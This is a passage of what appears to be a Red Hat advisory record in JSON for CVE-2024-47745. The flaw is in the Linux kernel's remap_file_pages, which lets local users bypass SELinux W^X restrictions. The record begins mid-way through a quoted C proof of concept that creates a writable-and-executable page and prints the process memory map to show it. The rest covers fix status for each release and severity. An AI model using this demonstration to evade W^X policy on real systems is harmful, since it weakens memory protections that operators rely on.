0);\nsyscall(SYS_personality, old);\n// show the RWX page exists even if W^X policy is enforced\nint fd = open(\"/proc/self/maps\", O_RDONLY);\nunsigned char buf2[1024];\nwhile (1) {\nint ret = read(fd, buf2, 1024);\nif (ret <= 0) break;\nwrite(1, buf2, ret);\n}\nclose(fd);\n}\n$ gcc test.c -o test\n$ ./test | grep rwx\n7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted)\n[PM: subject line tweaks]", "A flaw was found in the remap_file_pages function in mm/mmap.c in the Linux kernel, where it does not properly restrict execute access. This vulnerability allows local users to bypass intended SELinux W^X policy restrictions."], "mitigation": {"lang": "en:us", "value": "The issue exists if SELinux W^X policy restrictions are being used."}, "name": "CVE-2024-47745", "package_state": [{"cpe": "cpe:/o:redhat:enterprise_linux:6", "fix_state": "Out of support scope", "package_name": "kernel", "product_name": "Red Hat Enterprise Linux 6"}, {"cpe": "cpe:/o:redhat:enterprise_linux:7", "fix_state": "Out of support scope", "package_name": "kernel", "product_name": "Red Hat Enterprise Linux 7"}, {"cpe": "cpe:/o:redhat:enterprise_linux:7", "fix_state": "Out of support scope", "package_name": "kernel-rt", "product_name": "Red Hat Enterprise Linux 7"}, {"cpe": "cpe:/o:redhat:enterprise_linux:8", "fix_state": "Will not fix", "package_name": "kernel", "product_name": "Red Hat Enterprise Linux 8"}, {"cpe": "cpe:/o:redhat:enterprise_linux:8", "fix_state": "Will not fix", "package_name": "kernel-rt", "product_name": "Red Hat Enterprise Linux 8"}, {"cpe": "cpe:/o:redhat:enterprise_linux:9", "fix_state": "Will not fix", "package_name": "kernel-rt", "product_name": "Red Hat Enterprise Linux 9"}], "public_date": "2024-10-21T00:00:00Z", "references": ["https://www.cve.org/CVERecord?id=CVE-2024-47745\nhttps://nvd.nist.gov/vuln/detail/CVE-2024-47745\nhttps://lore.kernel.org/linux-cve-announce/2024102111-CVE-2024-47745-42e6@gregkh/T"], "statement": "This issue affects the Linux kernel shipping with Red Hat Enterprise Linux 8 and 9.\nThis issue does not affect the Linux kernel packages as shipped with Red Hat Enterprise Linux 7 and before.\nThis flaw breach confidentiality due to bypassing incorrect SELinux policy.\nWithin regulated environments, a combination of the following controls acts as a significant barrier to successfully exploiting a CWE-670: Always-Incorrect Control Flow Implementation vulnerability and therefore downgrades the severity of this particular CVE from Moderate to Low.\nThe platform's orchestration features, such as liveness and readiness probes, automated pod restarts, and health monitoring, help to quickly detect and recover from service-level failures resulting from incorrect control flows. Static code analysis and peer code review techniques are used to execute robust input validation and error-handling mechanisms to ensure all user inputs are thoroughly validated, preventing improperly validated inputs from causing system instability, exposing sensitive data, or escalating risks. Additionally, process isolation ensures that component issues are contained within the originating process, preventing them from affecting other processes or the system as a whole.", "threat_severity": "Moderate"}

{}